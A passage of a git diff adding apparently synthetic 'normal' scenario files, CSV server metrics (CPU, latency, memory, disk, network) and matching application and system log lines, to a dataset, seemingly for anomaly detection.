/etc/cron.hourly) +Aug 15 10:03:30 HikariPool-1[4321]: DEBUG: Pool 'HikariPool-1' - Adding new connection. +Aug 15 10:03:50 HikariPool-1[4321]: DEBUG: Pool 'HikariPool-1' - Adding new connection. +Aug 15 10:04:15 HikariPool-1[4321]: DEBUG: Pool 'HikariPool-1' - Adding new connection. +Aug 15 10:04:40 web-app[1357]: GET /api/v1/data status=200 OK +Aug 15 10:05:00 web-app[1357]: GET /api/v1/data status=200 OK +Aug 15 10:05:25 web-app[1357]: GET /api/v1/data status=200 OK +Aug 15 10:05:50 web-app[1357]: GET /api/v1/status status=200 OK +Aug 15 10:06:10 web-app[1357]: GET /api/v1/status status=200 OK +Aug 15 10:06:35 web-app[1357]: GET /api/v1/status status=200 OK +Aug 15 10:07:00 web-app[1357]: GET /api/v1/status status=200 OK +Aug 15 10:07:25 web-app[1357]: GET /api/v1/status status=200 OK diff --git a/norm_dataset/scenario_15/norm_15_24.csv b/norm_dataset/scenario_15/norm_15_24.csv new file mode 100644 index 0000000000000000000000000000000000000000..77f44d5b7b57e3a1da139637d9bde51cd64a0f8f --- /dev/null +++ b/norm_dataset/scenario_15/norm_15_24.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,app_latency,mem_usage,disk_io,net_in,net_out +2025-08-23T10:00:00Z,14.63,58.18,43.54,23.2,1.44,1.17 +2025-08-23T10:00:05Z,11.47,56.85,44.12,27.63,1.41,0.83 +2025-08-23T10:00:10Z,10.92,63.22,44.99,20.22,1.44,1.08 +2025-08-23T10:00:15Z,11.25,66.76,44.07,22.66,1.34,1.01 +2025-08-23T10:00:20Z,11.78,68.92,41.58,27.27,1.16,0.82 +2025-08-23T10:00:25Z,13.32,51.33,41.88,24.86,1.13,0.96 +2025-08-23T10:00:30Z,14.28,58.0,40.45,27.77,1.48,0.8 +2025-08-23T10:00:35Z,13.13,67.23,44.31,22.24,1.39,0.98 +2025-08-23T10:00:40Z,13.69,63.05,44.7,28.17,1.12,1.11 +2025-08-23T10:00:45Z,13.86,68.22,41.29,24.04,1.27,1.18 +2025-08-23T10:00:50Z,10.07,78.85,42.65,27.33,1.12,1.18 +2025-08-23T10:00:55Z,14.44,67.5,41.56,23.64,1.18,1.14 +2025-08-23T10:01:00Z,32.06,368.17,44.51,28.46,6.8,4.04 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+2025-08-23T10:07:05Z,11.93,57.47,43.21,34.16,1.2,1.15 +2025-08-23T10:07:10Z,13.33,72.62,44.13,31.32,1.09,0.85 +2025-08-23T10:07:15Z,10.33,73.45,44.25,26.27,1.43,0.86 +2025-08-23T10:07:20Z,10.5,56.71,41.18,31.38,1.31,0.81 +2025-08-23T10:07:25Z,12.49,51.06,43.96,31.8,1.4,0.8 diff --git a/norm_dataset/scenario_15/norm_15_24.log b/norm_dataset/scenario_15/norm_15_24.log new file mode 100644 index 0000000000000000000000000000000000000000..b99696026eba9ded9055482d8d5fe0069f16d43f --- /dev/null +++ b/norm_dataset/scenario_15/norm_15_24.log @@ -0,0 +1,20 @@ +Aug 23 10:00:05 web-app[2345]: GET /api/v1/user/101 status=200 OK +Aug 23 10:00:25 web-app[2345]: GET /api/v1/user/24 status=200 OK +Aug 23 10:00:50 web-app[2345]: GET /api/v1/user/99 status=200 OK +Aug 23 10:01:00 web-app[2345]: DEBUG Pool 'HikariPool-1' - Adding new connection. +Aug 23 10:01:00 web-app[2345]: GET /api/v1/products status=200 OK +Aug 23 10:01:05 web-app[2345]: DEBUG Pool 'HikariPool-1' - Adding new connection. +Aug 23 10:01:05 web-app[2345]: GET /api/v1/products status=200 OK +Aug 23 10:01:10 web-app[2345]: DEBUG Pool 'HikariPool-1' - Adding new connection. +Aug 23 10:01:10 web-app[2345]: GET /api/v1/products status=200 OK +Aug 23 10:01:15 web-app[2345]: DEBUG Pool 'HikariPool-1' - Adding new connection. +Aug 23 10:01:40 web-app[2345]: GET /api/v1/products status=200 OK +Aug 23 10:02:05 web-app[2345]: GET /api/v1/products status=200 OK +Aug 23 10:02:30 web-app[2345]: GET /api/v1/products status=200 OK +Aug 23 10:03:20 web-app[2345]: GET /api/v1/user/210 status=200 OK +Aug 23 10:04:10 web-app[2345]: GET /api/v1/products status=200 OK +Aug 23 10:05:25 web-app[2345]: GET /api/v1/user/11 status=200 OK +Aug 23 10:05:50 systemd[1]: Starting daily clean up activities... +Aug 23 10:06:15 web-app[2345]: GET /api/v1/user/45 status=200 OK +Aug 23 10:06:40 web-app[2345]: GET /api/v1/user/132 status=200 OK +Aug 23 10:07:05 CRON[7654]: (root) CMD (run-parts --report /etc/cron.hourly) diff --git a/norm_dataset/scenario_15/norm_15_25.csv b/norm_dataset/scenario_15/norm_15_25.csv new file mode 100644 index 0000000000000000000000000000000000000000..85808bee4ae42e13bb2f664eb0c89bfeab8f3ff9 --- /dev/null +++ b/norm_dataset/scenario_15/norm_15_25.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,app_latency,mem_usage,disk_io,net_in,net_out +2025-07-15T10:00:00Z,16.25,44.44,35.78,22.88,1.07,1.18 +2025-07-15T10:00:05Z,17.55,50.22,37.88,28.8,1.0,0.75 +2025-07-15T10:00:10Z,17.29,47.04,41.53,23.45,0.78,0.65 +2025-07-15T10:00:15Z,14.92,49.01,36.12,36.41,1.19,0.73 +2025-07-15T10:00:20Z,15.37,55.76,39.92,32.02,0.88,1.14 +2025-07-15T10:00:25Z,14.39,46.39,36.67,38.59,0.66,0.65 +2025-07-15T10:00:30Z,13.71,51.77,33.15,34.85,0.78,0.5 +2025-07-15T10:00:35Z,13.75,47.02,37.15,23.04,0.68,0.64 +2025-07-15T10:00:40Z,15.73,47.56,35.99,18.47,0.98,0.49 +2025-07-15T10:00:45Z,14.96,46.15,39.46,28.51,1.05,0.92 +2025-07-15T10:00:50Z,38.1,142.66,47.39,26.54,1.05,0.99 +2025-07-15T10:00:55Z,24.97,99.58,41.25,27.76,1.52,1.19 +2025-07-15T10:01:00Z,27.23,51.91,38.45,30.13,1.71,1.26 +2025-07-15T10:01:05Z,18.72,47.04,48.05,25.56,1.96,1.31 +2025-07-15T10:01:10Z,20.55,51.95,42.35,34.84,1.33,1.34 +2025-07-15T10:01:15Z,18.49,46.69,42.94,30.3,1.27,0.88 +2025-07-15T10:01:20Z,19.43,43.59,44.2,22.29,1.69,0.95 +2025-07-15T10:01:25Z,19.77,56.17,36.78,34.94,1.36,1.24 +2025-07-15T10:01:30Z,23.39,56.77,34.61,27.43,1.7,1.01 +2025-07-15T10:01:35Z,21.11,54.69,41.21,27.6,1.46,0.81 +2025-07-15T10:01:40Z,20.39,42.38,40.87,30.08,1.59,1.13 +2025-07-15T10:01:45Z,20.22,52.32,38.37,22.96,1.76,1.44 +2025-07-15T10:01:50Z,19.97,48.86,38.87,33.11,1.5,1.37 +2025-07-15T10:01:55Z,21.16,46.84,42.44,24.12,1.99,0.96 +2025-07-15T10:02:00Z,18.9,47.86,39.22,37.67,1.7,1.35 +2025-07-15T10:02:05Z,14.73,48.27,40.41,27.44,0.75,1.09 +2025-07-15T10:02:10Z,14.53,45.83,38.96,31.79,1.0,0.8 +2025-07-15T10:02:15Z,16.22,47.35,41.54,24.57,1.03,0.45 +2025-07-15T10:02:20Z,14.73,51.75,45.83,33.41,0.69,1.04 +2025-07-15T10:02:25Z,15.15,53.61,42.64,22.54,1.09,0.75 +2025-07-15T10:02:30Z,16.13,53.59,38.2,22.37,0.84,0.86 +2025-07-15T10:02:35Z,13.0,51.69,40.31,23.16,0.78,0.91 +2025-07-15T10:02:40Z,14.4,51.1,39.91,24.8,1.07,0.79 +2025-07-15T10:02:45Z,13.33,49.59,40.5,31.24,1.13,0.85 +2025-07-15T10:02:50Z,13.42,45.53,34.35,28.31,0.93,0.73 +2025-07-15T10:02:55Z,12.12,47.79,44.55,27.02,1.15,0.82 +2025-07-15T10:03:00Z,12.58,52.09,39.69,24.94,1.0,0.67 +2025-07-15T10:03:05Z,14.8,35.44,44.28,26.77,0.96,0.9 +2025-07-15T10:03:10Z,14.2,53.03,42.1,26.28,0.94,0.89 +2025-07-15T10:03:15Z,13.73,46.69,41.82,20.27,0.82,0.79 +2025-07-15T10:03:20Z,14.35,41.84,40.35,36.64,0.87,1.16 +2025-07-15T10:03:25Z,14.29,43.27,36.95,27.38,1.11,0.52 +2025-07-15T10:03:30Z,16.82,45.29,37.2,25.51,0.92,0.82 +2025-07-15T10:03:35Z,14.81,49.6,44.0,28.07,1.04,0.67 +2025-07-15T10:03:40Z,16.79,51.74,41.33,29.7,1.1,0.97 +2025-07-15T10:03:45Z,16.61,49.8,42.26,32.85,0.87,0.82 +2025-07-15T10:03:50Z,15.64,51.89,45.94,23.46,0.79,0.78 +2025-07-15T10:03:55Z,14.3,45.19,42.99,25.15,0.97,0.91 +2025-07-15T10:04:00Z,18.54,44.15,39.37,28.8,0.77,0.79 +2025-07-15T10:04:05Z,16.49,52.04,43.37,36.77,1.43,0.83 +2025-07-15T10:04:10Z,12.8,49.27,43.77,39.51,0.65,0.42 +2025-07-15T10:04:15Z,13.13,48.05,36.44,30.02,0.75,0.9 +2025-07-15T10:04:20Z,15.09,59.36,38.96,24.96,1.04,1.17 +2025-07-15T10:04:25Z,12.71,43.89,35.65,26.6,1.02,1.17 +2025-07-15T10:04:30Z,14.45,43.11,42.13,28.86,1.09,0.88 +2025-07-15T10:04:35Z,16.44,42.41,37.66,29.97,0.91,0.82 +2025-07-15T10:04:40Z,16.24,50.61,40.73,27.0,0.8,0.88 +2025-07-15T10:04:45Z,16.94,44.17,39.81,29.59,1.16,0.9 +2025-07-15T10:04:50Z,9.87,43.33,40.0,25.82,0.98,0.68 +2025-07-15T10:04:55Z,17.35,56.73,41.03,33.1,1.26,0.7 +2025-07-15T10:05:00Z,11.31,53.6,38.45,33.29,0.92,0.96 +2025-07-15T10:05:05Z,15.76,47.11,43.79,25.8,0.92,0.88 +2025-07-15T10:05:10Z,12.28,55.65,37.2,34.96,1.05,0.66 +2025-07-15T10:05:15Z,14.88,49.18,44.0,24.08,0.99,0.57 +2025-07-15T10:05:20Z,16.0,46.21,41.31,32.2,0.74,0.94 +2025-07-15T10:05:25Z,16.78,39.02,39.39,30.39,1.03,0.55 +2025-07-15T10:05:30Z,12.39,51.71,44.37,22.75,1.13,0.75 +2025-07-15T10:05:35Z,12.75,54.74,42.17,33.19,0.9,0.66 +2025-07-15T10:05:40Z,15.28,52.57,37.4,32.62,0.9,0.67 +2025-07-15T10:05:45Z,12.06,43.04,46.46,35.13,0.71,1.04 +2025-07-15T10:05:50Z,16.17,54.61,42.78,31.84,0.91,0.65 +2025-07-15T10:05:55Z,13.33,49.4,41.19,28.23,1.09,0.68 +2025-07-15T10:06:00Z,17.85,44.4,40.38,23.31,0.82,0.83 +2025-07-15T10:06:05Z,14.11,52.45,41.52,31.34,1.44,0.48 +2025-07-15T10:06:10Z,17.16,33.46,37.26,26.44,1.07,0.55 +2025-07-15T10:06:15Z,17.96,51.31,41.7,27.13,1.36,0.9 +2025-07-15T10:06:20Z,13.42,49.04,39.23,28.8,0.77,0.91 +2025-07-15T10:06:25Z,14.52,45.12,34.47,26.1,1.17,0.79 +2025-07-15T10:06:30Z,19.93,40.88,46.23,25.85,1.26,0.96 +2025-07-15T10:06:35Z,17.2,55.23,46.09,32.85,0.87,0.68 +2025-07-15T10:06:40Z,19.19,45.75,38.41,36.52,1.0,0.69 +2025-07-15T10:06:45Z,12.94,52.76,39.88,29.64,0.78,1.15 +2025-07-15T10:06:50Z,15.74,54.75,40.72,32.31,0.6,0.39 +2025-07-15T10:06:55Z,17.16,48.95,41.61,31.35,1.19,1.14 +2025-07-15T10:07:00Z,18.87,56.44,42.18,31.9,1.0,0.99 +2025-07-15T10:07:05Z,14.05,51.93,36.76,32.57,0.82,0.66 +2025-07-15T10:07:10Z,17.04,47.39,41.01,28.7,1.08,1.02 +2025-07-15T10:07:15Z,18.6,38.79,39.3,35.52,1.05,1.07 +2025-07-15T10:07:20Z,14.4,44.83,44.7,31.23,0.77,0.78 +2025-07-15T10:07:25Z,14.47,54.67,38.05,33.33,0.95,0.9 diff --git a/norm_dataset/scenario_15/norm_15_25.log b/norm_dataset/scenario_15/norm_15_25.log new file mode 100644 index 0000000000000000000000000000000000000000..e2166be2a02f969f7dcb66dd4b938fff8df616e5 --- /dev/null +++ b/norm_dataset/scenario_15/norm_15_25.log @@ -0,0 +1,20 @@ +Jul 15 10:00:50 HikariPool-1[1234]: DEBUG: Pool 'HikariPool-1' - Adding new connection. +Jul 15 10:00:55 HikariPool-1[1234]: DEBUG: Pool 'HikariPool-1' - Adding new connection. +Jul 15 10:01:00 HikariPool-1[1234]: DEBUG: Pool 'HikariPool-1' - Adding new connection. +Jul 15 10:01:10 HikariPool-1[1234]: DEBUG: Pool 'HikariPool-1' - Adding new connection. +Jul 15 10:01:20 HikariPool-1[1234]: DEBUG: Pool 'HikariPool-1' - Adding new connection. +Jul 15 10:01:35 web-app[1234]: GET /api/v1/products/list status=200 OK +Jul 15 10:01:40 systemd[1]: Starting daily clean up activities... +Jul 15 10:01:45 web-app[1234]: GET /api/v1/products/list status=200 OK +Jul 15 10:01:55 web-app[1234]: GET /api/v1/products/list status=200 OK +Jul 15 10:02:50 web-app[1234]: GET /api/v1/user/32 status=200 OK +Jul 15 10:02:55 systemd[1]: Starting daily clean up activities... +Jul 15 10:03:10 web-app[1234]: GET /api/v1/user/48 status=200 OK +Jul 15 10:03:15 web-app[1234]: GET /api/v1/products/list status=200 OK +Jul 15 10:03:40 web-app[1234]: GET /api/v1/user/41 status=200 OK +Jul 15 10:04:20 web-app[1234]: GET /api/v1/user/17 status=200 OK +Jul 15 10:04:25 web-app[1234]: GET /api/v1/products/list status=200 OK +Jul 15 10:04:45 web-app[1234]: GET /api/v1/products/list status=200 OK +Jul 15 10:05:25 systemd[1]: Starting daily clean up activities... +Jul 15 10:07:10 web-app[1234]: GET /api/v1/user/11 status=200 OK +Jul 15 10:07:20 web-app[1234]: GET /api/v1/user/42 status=200 OK diff --git a/norm_dataset/scenario_15/norm_15_26.csv b/norm_dataset/scenario_15/norm_15_26.csv new file mode 100644 index 0000000000000000000000000000000000000000..e8522a5fbf07d4a1cb6c4b4f1bd1954aa71247da --- /dev/null +++ b/norm_dataset/scenario_15/norm_15_26.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,latency_ms +2025-08-15T10:00:00Z,15.99,45.29,33.13,1.79,85.19 +2025-08-15T10:00:05Z,14.72,47.96,25.71,1.21,95.33 +2025-08-15T10:00:10Z,16.3,43.01,24.65,1.73,78.91 +2025-08-15T10:00:15Z,18.05,44.19,32.41,1.5,84.02 +2025-08-15T10:00:20Z,14.53,44.05,28.88,1.3,86.9 +2025-08-15T10:00:25Z,14.53,40.89,33.57,1.59,75.99 +2025-08-15T10:00:30Z,18.16,46.23,32.37,1.54,82.24 +2025-08-15T10:00:35Z,16.53,46.18,29.64,1.38,80.13 +2025-08-15T10:00:40Z,14.06,45.46,25.77,1.51,80.98 +2025-08-15T10:00:45Z,16.09,44.8,22.43,1.42,72.27 +2025-08-15T10:00:50Z,14.07,41.32,27.77,1.52,80.25 +2025-08-15T10:00:55Z,14.07,44.36,34.28,1.63,84.98 +2025-08-15T10:01:00Z,15.48,44.65,31.07,1.82,94.51 +2025-08-15T10:01:05Z,11.17,43.32,23.77,1.25,89.59 +2025-08-15T10:01:10Z,11.55,45.3,30.87,1.93,101.53 +2025-08-15T10:01:15Z,13.88,47.05,31.93,1.11,72.33 +2025-08-15T10:01:20Z,12.97,51.56,25.58,1.47,88.72 +2025-08-15T10:01:25Z,15.63,46.48,30.77,1.62,81.83 +2025-08-15T10:01:30Z,13.18,46.78,30.29,1.56,101.9 +2025-08-15T10:01:35Z,12.18,45.84,24.29,1.38,71.92 +2025-08-15T10:01:40Z,17.93,40.37,31.79,1.46,71.6 +2025-08-15T10:01:45Z,14.55,46.1,32.8,1.4,74.01 +2025-08-15T10:01:50Z,15.14,46.42,35.42,1.38,58.76 +2025-08-15T10:01:55Z,12.15,53.68,35.27,1.67,74.74 +2025-08-15T10:02:00Z,13.91,45.77,23.11,1.57,72.41 +2025-08-15T10:02:05Z,15.22,47.31,25.31,1.36,81.5 +2025-08-15T10:02:10Z,12.7,46.36,32.58,1.68,83.42 +2025-08-15T10:02:15Z,15.75,43.01,32.57,1.56,98.76 +2025-08-15T10:02:20Z,13.8,50.0,32.58,1.66,89.5 +2025-08-15T10:02:25Z,14.42,48.89,49.26,1.63,74.23 +2025-08-15T10:02:30Z,13.8,49.06,32.85,3.34,471.02 +2025-08-15T10:02:35Z,18.77,44.01,35.68,3.47,334.92 +2025-08-15T10:02:40Z,15.24,51.01,34.77,4.12,166.8 +2025-08-15T10:02:45Z,13.49,42.65,33.26,4.06,98.31 +2025-08-15T10:02:50Z,17.7,48.67,28.42,3.74,91.79 +2025-08-15T10:02:55Z,14.17,53.54,33.79,3.81,75.31 +2025-08-15T10:03:00Z,17.68,44.05,26.14,4.39,62.87 +2025-08-15T10:03:05Z,14.07,45.38,28.82,3.45,93.54 +2025-08-15T10:03:10Z,16.12,47.43,27.57,4.02,78.85 +2025-08-15T10:03:15Z,19.98,45.68,30.41,3.65,92.38 +2025-08-15T10:03:20Z,21.89,42.6,41.57,3.64,64.06 +2025-08-15T10:03:25Z,21.57,47.51,20.66,4.3,74.01 +2025-08-15T10:03:30Z,21.78,44.17,33.43,4.16,80.05 +2025-08-15T10:03:35Z,22.13,48.84,21.94,4.16,80.47 +2025-08-15T10:03:40Z,20.43,44.71,27.64,4.4,75.5 +2025-08-15T10:03:45Z,22.51,52.18,35.44,3.76,86.23 +2025-08-15T10:03:50Z,23.48,45.23,30.32,4.09,69.32 +2025-08-15T10:03:55Z,26.84,46.67,24.61,3.59,78.58 +2025-08-15T10:04:00Z,25.62,50.14,26.42,3.91,81.2 +2025-08-15T10:04:05Z,21.47,44.06,33.4,3.68,85.14 +2025-08-15T10:04:10Z,15.65,48.49,26.35,1.52,87.12 +2025-08-15T10:04:15Z,14.23,51.79,31.08,1.62,68.75 +2025-08-15T10:04:20Z,13.65,43.1,30.23,1.34,64.66 +2025-08-15T10:04:25Z,16.22,48.53,26.74,1.92,92.78 +2025-08-15T10:04:30Z,17.06,48.81,40.72,1.3,83.32 +2025-08-15T10:04:35Z,16.86,50.44,33.17,1.26,72.52 +2025-08-15T10:04:40Z,13.32,44.44,19.87,1.73,95.51 +2025-08-15T10:04:45Z,14.38,44.24,30.93,1.66,81.16 +2025-08-15T10:04:50Z,15.66,49.82,26.69,1.62,91.79 +2025-08-15T10:04:55Z,16.95,49.21,34.26,1.63,80.68 +2025-08-15T10:05:00Z,14.04,49.12,26.04,1.5,100.61 +2025-08-15T10:05:05Z,14.63,49.47,29.43,1.32,97.55 +2025-08-15T10:05:10Z,12.79,46.44,32.52,1.52,77.51 +2025-08-15T10:05:15Z,12.61,49.24,34.33,1.36,89.72 +2025-08-15T10:05:20Z,16.63,49.47,24.0,1.7,86.45 +2025-08-15T10:05:25Z,17.71,46.51,28.33,1.47,93.69 +2025-08-15T10:05:30Z,14.86,54.31,27.63,1.33,70.35 +2025-08-15T10:05:35Z,17.01,50.19,26.73,1.44,86.86 +2025-08-15T10:05:40Z,15.72,45.25,38.83,1.58,90.58 +2025-08-15T10:05:45Z,13.71,50.85,32.02,1.39,62.41 +2025-08-15T10:05:50Z,15.72,46.01,23.7,1.34,68.17 +2025-08-15T10:05:55Z,18.08,51.35,34.59,1.55,59.61 +2025-08-15T10:06:00Z,14.93,52.52,40.61,1.55,77.31 +2025-08-15T10:06:05Z,18.13,46.64,35.16,1.4,87.18 +2025-08-15T10:06:10Z,9.76,52.05,22.4,1.41,95.02 +2025-08-15T10:06:15Z,16.64,50.45,27.58,1.55,80.74 +2025-08-15T10:06:20Z,15.17,51.74,36.33,1.21,96.29 +2025-08-15T10:06:25Z,14.4,55.02,26.46,1.22,66.2 +2025-08-15T10:06:30Z,15.18,48.65,32.22,1.36,62.97 +2025-08-15T10:06:35Z,11.02,47.18,33.87,1.46,79.44 +2025-08-15T10:06:40Z,14.56,46.83,25.37,1.56,83.84 +2025-08-15T10:06:45Z,15.71,47.1,29.7,1.8,79.67 +2025-08-15T10:06:50Z,17.96,49.38,13.79,1.67,59.33 +2025-08-15T10:06:55Z,13.96,50.69,24.88,1.47,79.11 +2025-08-15T10:07:00Z,13.38,50.55,28.74,1.5,66.96 +2025-08-15T10:07:05Z,14.0,52.26,23.76,1.3,86.7 +2025-08-15T10:07:10Z,16.83,49.87,38.16,1.5,83.67 +2025-08-15T10:07:15Z,15.66,54.25,22.85,1.44,70.6 +2025-08-15T10:07:20Z,13.94,49.15,27.8,1.56,74.86 +2025-08-15T10:07:25Z,16.03,58.16,30.65,1.33,69.41 diff --git a/norm_dataset/scenario_15/norm_15_26.log b/norm_dataset/scenario_15/norm_15_26.log new file mode 100644 index 0000000000000000000000000000000000000000..0c1b89c09ddaf6db97f108e608d8d8d96cb566c7 --- /dev/null +++ b/norm_dataset/scenario_15/norm_15_26.log @@ -0,0 +1,27 @@ +Aug 15 10:00:00 web-app[2531]: INFO GET /api/v1/products status=200 OK +Aug 15 10:00:10 systemd[1]: Starting daily clean up activities... +Aug 15 10:00:20 web-app[2531]: INFO GET /api/v1/products status=200 OK +Aug 15 10:00:45 web-app[2531]: INFO GET /api/v1/products status=200 OK +Aug 15 10:01:10 web-app[2531]: INFO GET /api/v1/products status=200 OK +Aug 15 10:01:30 web-app[2531]: INFO GET /api/v1/products status=200 OK +Aug 15 10:01:55 web-app[2531]: INFO GET /api/v1/products status=200 OK +Aug 15 10:02:03 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 15 10:02:20 web-app[2531]: INFO GET /api/v1/products status=200 OK +Aug 15 10:02:32 db-pool[2531]: DEBUG: Pool 'HikariPool-1' - Adding new connection. +Aug 15 10:02:38 db-pool[2531]: DEBUG: Pool 'HikariPool-1' - Adding new connection. +Aug 15 10:02:40 web-app[2531]: INFO GET /api/v1/products status=200 OK +Aug 15 10:02:41 db-pool[2531]: DEBUG: Pool 'HikariPool-1' - Adding new connection. +Aug 15 10:02:55 db-pool[2531]: DEBUG: Pool 'HikariPool-1' - Adding new connection. +Aug 15 10:03:05 web-app[2531]: INFO GET /api/v1/products status=200 OK +Aug 15 10:03:10 db-pool[2531]: DEBUG: Pool 'HikariPool-1' - Adding new connection. +Aug 15 10:03:30 web-app[2531]: INFO GET /api/v1/products status=200 OK +Aug 15 10:03:50 web-app[2531]: INFO GET /api/v1/products status=200 OK +Aug 15 10:04:15 web-app[2531]: INFO GET /api/v1/products status=200 OK +Aug 15 10:04:40 web-app[2531]: INFO GET /api/v1/products status=200 OK +Aug 15 10:05:00 web-app[2531]: INFO GET /api/v1/products status=200 OK +Aug 15 10:05:25 web-app[2531]: INFO GET /api/v1/products status=200 OK +Aug 15 10:05:50 web-app[2531]: INFO GET /api/v1/products status=200 OK +Aug 15 10:06:10 web-app[2531]: INFO GET /api/v1/products status=200 OK +Aug 15 10:06:35 web-app[2531]: INFO GET /api/v1/products status=200 OK +Aug 15 10:07:00 web-app[2531]: INFO GET /api/v1/products status=200 OK +Aug 15 10:07:25 web-app[2531]: INFO GET /api/v1/products status=200 OK diff --git a/norm_dataset/scenario_15/norm_15_27.csv b/norm_dataset/scenario_15/norm_15_27.csv new file mode 100644 index 0000000000000000000000000000000000000000..e000128fc2c14ad92bad86e7cc585cc9f394a9bc --- /dev/null +++ b/norm_dataset/scenario_15/norm_15_27.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,latency_ms,mem_usage,disk_io,net_in,net_out +2025-08-15T10:00:00Z,15.99,80.97,46.88,37.21,1.66,1.19 +2025-08-15T10:00:05Z,14.72,89.69,42.43,22.82,1.96,1.39 +2025-08-15T10:00:10Z,16.3,72.98,41.79,35.82,1.47,1.0 +2025-08-15T10:00:15Z,18.05,76.72,46.45,30.05,1.62,1.3 +2025-08-15T10:00:20Z,14.53,76.08,44.33,25.09,1.71,1.09 +2025-08-15T10:00:25Z,14.53,65.36,47.14,32.31,1.38,1.04 +2025-08-15T10:00:30Z,18.16,82.96,46.42,31.0,1.57,1.18 +2025-08-15T10:00:35Z,16.53,82.61,44.78,27.0,1.5,0.99 +2025-08-15T10:00:40Z,14.06,80.05,42.46,30.35,1.53,1.09 +2025-08-15T10:00:45Z,16.09,77.65,40.46,28.07,1.27,0.96 +2025-08-15T10:00:50Z,14.07,65.85,43.66,30.57,1.51,1.59 +2025-08-15T10:00:55Z,14.07,75.79,47.57,33.31,1.65,1.21 +2025-08-15T10:01:00Z,15.48,76.57,45.64,37.93,1.94,1.06 +2025-08-15T10:01:05Z,11.17,71.98,41.26,23.81,1.79,1.24 +2025-08-15T10:01:10Z,11.55,78.39,45.52,40.67,2.15,1.18 +2025-08-15T10:01:15Z,13.88,84.04,46.16,20.24,1.27,1.16 +2025-08-15T10:01:20Z,12.97,98.86,42.35,29.24,1.76,1.32 +2025-08-15T10:01:25Z,15.63,81.75,45.46,32.94,1.56,1.35 +2025-08-15T10:01:30Z,13.18,82.58,45.17,31.4,2.16,1.09 +2025-08-15T10:01:35Z,12.18,79.26,41.57,26.89,1.26,1.08 +2025-08-15T10:01:40Z,17.93,60.81,46.07,28.96,1.25,1.14 +2025-08-15T10:01:45Z,14.55,79.73,46.68,27.53,1.32,0.74 +2025-08-15T10:01:50Z,15.14,80.6,48.25,27.05,0.86,0.9 +2025-08-15T10:01:55Z,12.15,104.63,48.16,34.25,1.34,1.47 +2025-08-15T10:02:00Z,25.58,228.08,40.87,31.79,1.27,1.53 +2025-08-15T10:02:05Z,22.96,303.02,42.19,26.54,1.55,1.15 +2025-08-15T10:02:10Z,23.76,259.65,46.55,34.5,1.6,1.32 +2025-08-15T10:02:15Z,28.63,178.31,46.54,31.54,2.06,1.26 +2025-08-15T10:02:20Z,18.86,91.43,46.55,34.06,1.79,1.82 +2025-08-15T10:02:25Z,22.82,87.52,55.0,33.15,1.33,1.42 +2025-08-15T10:02:30Z,24.95,87.91,46.71,25.86,1.23,1.17 +2025-08-15T10:02:35Z,28.3,70.91,48.41,27.2,1.65,1.01 +2025-08-15T10:02:40Z,25.72,94.03,47.86,33.74,1.1,0.88 +2025-08-15T10:02:45Z,21.68,65.98,46.95,33.05,2.05,1.24 +2025-08-15T10:02:50Z,26.82,85.87,44.05,29.9,1.85,1.05 +2025-08-15T10:02:55Z,22.25,101.9,47.28,30.59,1.36,0.92 +2025-08-15T10:03:00Z,27.75,70.09,42.68,36.39,0.99,1.07 +2025-08-15T10:03:05Z,21.59,74.34,44.29,27.04,1.91,0.98 +2025-08-15T10:03:10Z,23.02,81.0,43.54,32.74,1.47,1.54 +2025-08-15T10:03:15Z,24.57,74.97,45.25,28.99,1.87,1.38 +2025-08-15T10:03:20Z,25.5,64.49,51.94,28.91,1.02,1.2 +2025-08-15T10:03:25Z,24.48,80.69,39.4,35.49,1.32,1.5 +2025-08-15T10:03:30Z,25.56,69.38,47.06,34.13,1.5,1.22 +2025-08-15T10:03:35Z,23.56,84.74,40.16,34.07,1.51,1.03 +2025-08-15T10:03:40Z,22.62,70.81,43.58,36.53,1.36,1.5 +2025-08-15T10:03:45Z,27.71,95.5,48.27,30.11,1.69,1.31 +2025-08-15T10:03:50Z,25.82,72.17,45.19,33.41,1.18,0.99 +2025-08-15T10:03:55Z,26.46,76.78,41.77,28.45,1.46,1.16 +2025-08-15T10:04:00Z,28.09,88.14,42.85,31.62,1.54,1.02 +2025-08-15T10:04:05Z,20.66,67.69,47.04,29.35,1.65,0.92 +2025-08-15T10:04:10Z,21.57,82.27,42.81,30.48,1.71,1.39 +2025-08-15T10:04:15Z,22.21,93.07,45.65,32.98,1.16,1.58 +2025-08-15T10:04:20Z,19.9,63.93,45.14,25.91,1.04,0.92 +2025-08-15T10:04:25Z,25.52,81.85,43.05,40.46,1.88,1.31 +2025-08-15T10:04:30Z,17.06,82.6,51.43,24.97,1.6,1.07 +2025-08-15T10:04:35Z,16.86,87.82,46.9,23.93,1.28,1.1 +2025-08-15T10:04:40Z,13.32,67.63,38.92,35.79,1.97,1.08 +2025-08-15T10:04:45Z,14.38,66.8,45.56,33.96,1.53,1.03 +2025-08-15T10:04:50Z,15.66,85.22,43.01,33.12,1.85,1.21 +2025-08-15T10:04:55Z,16.95,82.97,47.56,33.14,1.52,1.03 +2025-08-15T10:05:00Z,14.04,82.5,42.62,29.94,2.12,1.25 +2025-08-15T10:05:05Z,14.63,83.46,44.66,25.51,2.03,1.19 +2025-08-15T10:05:10Z,12.79,73.2,46.51,30.38,1.43,1.15 +2025-08-15T10:05:15Z,12.61,82.32,47.6,26.61,1.79,1.02 +2025-08-15T10:05:20Z,16.63,82.93,41.4,34.88,1.69,1.08 +2025-08-15T10:05:25Z,17.71,72.86,44.0,29.26,1.91,1.35 +2025-08-15T10:05:30Z,14.86,98.66,43.58,25.87,1.21,1.3 +2025-08-15T10:05:35Z,17.01,84.74,43.04,28.39,1.71,1.0 +2025-08-15T10:05:40Z,15.72,68.09,50.3,32.06,1.82,1.22 +2025-08-15T10:05:45Z,13.71,86.57,46.21,27.18,0.97,1.35 +2025-08-15T10:05:50Z,15.72,70.25,41.22,25.89,1.15,0.87 +2025-08-15T10:05:55Z,18.08,87.87,47.75,31.22,0.89,1.31 +2025-08-15T10:06:00Z,14.93,91.59,51.37,31.22,1.42,1.07 +2025-08-15T10:06:05Z,18.13,71.79,48.1,27.47,1.72,1.31 +2025-08-15T10:06:10Z,9.76,89.63,40.44,27.64,1.95,1.05 +2025-08-15T10:06:15Z,16.64,84.13,43.55,31.16,1.52,0.84 